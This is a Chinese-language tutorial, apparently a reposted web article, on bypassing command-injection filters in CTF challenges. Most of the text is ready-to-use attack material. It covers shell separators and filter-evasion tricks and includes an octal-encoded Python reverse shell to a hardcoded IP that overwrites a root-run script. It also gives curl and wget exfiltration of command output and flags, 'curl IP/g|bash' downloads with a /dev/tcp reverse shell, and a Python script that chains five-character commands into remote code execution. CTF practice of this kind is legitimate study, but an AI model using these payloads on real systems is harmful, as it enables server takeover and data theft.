您好,登錄后才能下訂單哦!
小編給大家分享一下如何實現(xiàn)CTF中命令執(zhí)行繞過方法,相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!
僅供參考學習使用
命令執(zhí)行繞過
通過php的危險函數(shù)執(zhí)行需要的命令
簡單例題
<?php if (isset($_POST['host'])) { $host = $_POST['host']; $res = shell_exec("ping -c 4 {$host}"); echo $res; } ?>
在ping ip后利用linux的命令分割符分割,可以執(zhí)行任意命令
通過php的可變變量也能進行命令執(zhí)行
類似于:${cmd}
或者$$a
,$a可控為{cmd}
linux大部分命令放置在/bin或者/sbin目錄下,無法執(zhí)行可以考慮使用/bin/cat
等命令
;
用;號隔開每個命令, 每個命令按照從左到右的順序,順序執(zhí)行, 彼此之間不關(guān)心是否失敗,所有命令都
會執(zhí)行。
&
后臺執(zhí)行
&&
命令之間使用 && 連接,實現(xiàn)邏輯與的功能。
只有在 && 左邊的命令返回真(命令返回值 $? == 0),&& 右邊的命令才會被執(zhí)行。
只要有一個命令返回假(命令返回值 $? == 1),后面的命令就不會被執(zhí)行。
|
命令A|命令B,即命令A的正確輸出作為命令B的操作對象
例如: ps aux | grep "test" 在 ps aux中的結(jié)果中查找test。
||
命令之間使用 || 連接,實現(xiàn)邏輯或的功能。
只有在 || 左邊的命令返回假(命令返回值 $? == 1),|| 右邊的命令才會被執(zhí)行。
%0a、%0d
Win:
%1a
system()
shell_exec()
eval()
asssert()
exec()
preg_replace()
call_user_func()
passthru()
pctml_exec()
popen()
proc_open()
反引號命令執(zhí)行(反引號相當于shell_exec())
<?php show_source(__FILE__); $a = `whoami`; echo $a; ?> rayi\shinelon
如果命令注入的網(wǎng)站過濾了某些分割符,可以將分隔符編碼后(url編碼,base64等)繞過
$(printf "\154\163")//ls命令
這個編碼后可以拼接
//這里過濾了-.等符號,只允許0-9a-zA-Z">\\\$(); echo$IFS$9$(printf$IFS$9"\163\75\137\137\151\155\160\157\162\164\137\137\50\42\163\157\143\153\145\164\42\51\56\163\157\143\153\145\164\50\137\137\151\155\160\157\162\164\137\137\50\42\163\157\143\153\145\164\42\51\56\101\106\137\111\116\105\124\54\137\137\151\155\160\157\162\164\137\137\50\42\163\157\143\153\145\164\42\51\56\123\117\103\113\137\123\124\122\105\101\115\51\73\163\56\143\157\156\156\145\143\164\50\50\42\64\67\56\61\60\60\56\61\62\60\56\61\62\63\42\54\62\63\63\63\51\51\73\137\137\151\155\160\157\162\164\137\137\50\42\157\163\42\51\56\144\165\160\62\50\163\56\146\151\154\145\156\157\50\51\54\60\51\73\137\137\151\155\160\157\162\164\137\137\50\42\157\163\42\51\56\144\165\160\62\50\163\56\146\151\154\145\156\157\50\51\54\61\51\73\137\137\151\155\160\157\162\164\137\137\50\42\157\163\42\51\56\144\165\160\62\50\163\56\146\151\154\145\156\157\50\51\54\62\51\73\160\75\137\137\151\155\160\157\162\164\137\137\50\42\163\165\142\160\162\157\143\145\163\163\42\51\56\143\141\154\154\50\133\42\57\142\151\156\57\142\141\163\150\42\54\42\55\151\42\135\51\73")>$(printf$IFS$9"\57")detect$(printf$IFS$9"\56")py echo 'python反彈shell的payload' > /detect.py
例題:
from flask import Flask from flask import render_template,request import subprocess,re app = Flask(__name__) @app.route('/',methods=['GET']) def index(): return render_template('index.html') @app.route('/run',methods=['POST']) def run(): cmd = request.form.get("cmd") if re.search(r'''[^0-9a-zA-Z">\\\$();]''',cmd): return 'Hacker!' if re.search(r'''ping|wget|curl|bash|perl|python|php|kill|ps''',cmd): return 'Hacker!' p = subprocess.Popen(cmd,stderr=subprocess.STDOUT, stdout=subprocess.PIPE,shell=True,close_fds=True) try: (msg, errs) = p.communicate(timeout=5) return msg except Exception as e: return 'Error!' app.run(host='0.0.0.0',port='5000')
覆蓋寫原來定時執(zhí)行,用來清除進程的detect.py,直接get root權(quán)限
echo "636174202F6574632F706173737764" | xxd -r -p|bash
linux內(nèi)置分隔符
${IFS},$IFS,$IFS$9
root # cat${IFS}flag weqweqweqweqweqwe root # cat$IFS$9flag weqweqweqweqweqwe
對于 >,+ 等 符號的過濾 ,$PS2
變量為>,$PS4
變量則為+
通過拆分命令達到繞過的效果
a=l;b=s;$a$b
空變量繞過
cat fl${x}ag
cat tes$(z)t/flag
控制環(huán)境變量繞過
$PATH => "/usr/local/….blablabla”
${PATH:0:1} => '/'
${PATH:1:1} => 'u'
${PATH:0:4} => '/usr'
空值繞過
cat fl""ag
cat fl''ag
cat "fl""ag"
反斜杠繞過
ca\t flag
l\s
$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在沒有傳入?yún)?shù)的情況下,這些特殊字符默認為空,如下:
wh$1oami
who$@ami
whoa$*mi
在Linux bash中還可以使用{OS_COMMAND,ARGUMENT}
來執(zhí)行系統(tǒng)命令{cat,flag}
可以通過curl命令將命令的結(jié)果輸出到訪問的url中
curl www.rayi.vip/`whoami`
在服務(wù)器日志中可看到
xx.xx.xx.xx - - [12/Aug/2019:10:32:10 +0800] "GET /root HTTP/1.1" 404 146 "-" "curl/7.58.0"
這樣,命令的回顯就能在日志中看到了
ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sort|cut|xxd
無回顯的情況下wget帶出
wget --post-file flag 47.100.120.123:2333
escapeshellarg()
escapeshellarg ( string
$arg
) : stringescapeshellarg()將給字符串增加一個單引號并且能引用或者轉(zhuǎn)碼任何已經(jīng)存在的單引號,這樣以確保能夠直接將一個字符串傳入 shell 函數(shù),并且還是確保安全的。對于用戶輸入的部分參數(shù)就應(yīng)該使用這個函數(shù)。
例子
<?php system('ls '.escapeshellarg($dir)); ?>
escapeshellcmd()
escapeshellcmd ( string
$command
) : stringescapeshellcmd()對字符串中可能會欺騙 shell 命令執(zhí)行任意命令的字符進行轉(zhuǎn)義。 此函數(shù)保證用戶輸入的數(shù)據(jù)在傳送到 exec()或 system()函數(shù),或者 執(zhí)行操作符之前進行轉(zhuǎn)義。
反斜線(\)會在以下字符之前插入: *&#;`|*?~<>^()[]{}$*, \x0A和 \xFF。 '和 "僅在不配對兒的時候被轉(zhuǎn)義。 在 Windows 平臺上,所有這些字符以及 %和 !字符都會被空格代替。
<?php // 我們故意允許任意數(shù)量的參數(shù) $command = './configure '.$_POST['configure_options']; $escaped_command = escapeshellcmd($command); system($escaped_command); ?>
使用escapeshellarg()
的本意是避免參數(shù)注入,但是如果在此基礎(chǔ)上又使用了escapeshellcmd()
,反而又會造成參數(shù)注入
例子:
這時候我們只能掃描一個ip地址,無法增加參數(shù)
-oN/-oX/-oG:
將報告寫入文件,格式分別為正常(自定義.txt),XML,grepable.
但是如果多了個escapeshellcmd
可以寫入一句話
注意要兩遍都加單引號,否則寫入的文件名或者其他的地方會有奇怪的錯誤
參考題目來自:https://www.jianshu.com/p/a77e956d9941
p神教程:https://www.leavesongs.com/SHARE/some-tricks-from-my-secret-group.html
題目:hitcon2017的babyfirst,hgame2020代打出題人服務(wù)中心
假設(shè)我們一次只能執(zhí)行長度為5的命令
linux命令執(zhí)行的時候可以使用反斜杠換行
bash腳本中同樣適用上面的規(guī)則
可以用文件名加反斜杠構(gòu)成命令,使用ls -t > o 將文件名輸出到文件,使用bash o執(zhí)行腳本
ls默認是按照ascii碼由小到大排序的
如果想要控制文件的排序,我們可以使用ls -t
ls -t是按照文件創(chuàng)建時間排序的
將ls -t
輸出到文件
這樣我們就可以先利用反斜杠將我們要執(zhí)行的命令分隔開,在利用ls-t將命令分隔后的文件名寫入到一個文件里,再使用bash執(zhí)行這個腳本
構(gòu)造ls -t
命令:>ls\\ #生成一個文件名為ls\的文件 命令:ls>_ #為了確保ls -t 中l(wèi)s在前面,所以要先使用ls>_將ls輸入到文件_中 命令:>\ \\ #生成ls -t之間的空格,一個文件名為 \的文件 命令:>-t\\ #生成文件名為-t\的文件 命令:>\>g #生成文件名為>g的文件 命令:ls>>_ #將所有的文件名寫到文件_里 命令:sh _ #由上至下按順序執(zhí)行由\拼接起來的ls -t命令,并將結(jié)果輸入到文件g中
有了ls -t
作為跳板,我們就可以寫入其他的命令了
為了方便,我們可以利用curl從我們的vps上下載腳本,反彈shell。這樣我們只需要構(gòu)造
curl 47.100.120.123/g|bash
vps上
bash -i >& /dev/tcp/47.100.120.123/2333 0>&1
為了更方便,我們可以把vps的ip數(shù)字化
http://www.msxindl.com/tools/ip/ip_num.asp
795113595
所以要構(gòu)造的payload就變成了
curl 795113595/g|bash
我vps用的寶塔,寶塔我沒搞出來怎么支持純數(shù)字ip。。。
import requests from time import sleep import urllib payload = [ # generate `ls -t>g` file '>ls\\', 'ls>_', '>\ \\', '>-t\\', '>\>g', 'ls>>_', # generate `curl www.rayi.vip|bash` # 注意文件名不能以.開頭 # 注意文件名不能有重復 # 注意vps只能用index,因為文件名不能以/開頭 # 悲劇的是我的vps的ip正好有倆0.,只能用域名了 '>sh\ ', '>ba\\', '>\|\\', '>p\\', '>vi\\', '>i.\\', '>y\\', '>ra\\', '>w.\\', '>ww\\', '>\ \\', '>rl\\', '>cu\\', # exec 'sh _', #先執(zhí)行l(wèi)s -t>g 'sh g' ] r = requests.get('http://url/?reset=1') for i in payload: assert len(i) <= 5 r = requests.get('http://url/?cmd=' + urllib.parse.quote(i) ) print(i) sleep(1)
以上是“如何實現(xiàn)CTF中命令執(zhí)行繞過方法”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對大家有所幫助,如果還想學習更多知識,歡迎關(guān)注億速云行業(yè)資訊頻道!
免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。